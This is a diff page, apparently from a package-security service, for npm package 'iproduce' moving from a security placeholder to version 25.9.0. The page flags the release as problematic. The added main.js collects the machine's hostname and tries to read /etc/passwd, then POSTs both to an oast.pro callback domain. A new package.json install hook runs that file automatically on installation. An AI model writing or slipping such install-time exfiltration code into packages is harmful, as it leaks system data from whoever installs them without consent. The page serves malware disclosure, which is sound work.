iproduce 0.0.1-security → 25.9.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of iproduce might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/main.js +34 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/main.js ADDED
@@ -0,0 +1,34 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ const fs = require('fs')
4
+
5
+ var hostname = os.hostname();
6
+ var filecontents;
7
+ try {
8
+ fileContents = fs.readFile('/etc/passwd');
9
+ } catch (err) {
10
+ fileContents ="error";
11
+ }
12
+
13
+ const data = new TextEncoder().encode(
14
+ JSON.stringify({
15
+ payload: hostname,
16
+ file: fileContents
17
+ })
18
+ );
19
+
20
+ const options = {
21
+ hostname: hostname + '.cl90ujr9u3p1pslamntgafludxgevpomw.oast.pro',
22
+ port: 443,
23
+ path: '/',
24
+ method: 'POST',
25
+ headers: {
26
+ 'Content-Type': 'application/json',
27
+ 'Content-Length': data.length
28
+ },
29
+ rejectUnauthorized: false
30
+ }
31
+
32
+ const req = https.request(options, res => {});
33
+ req.write(data);
34
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "iproduce",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "25.9.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "install": "node main.js"
9
+ },
10
+ "author": "zakaria_bt",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=iproduce for more information.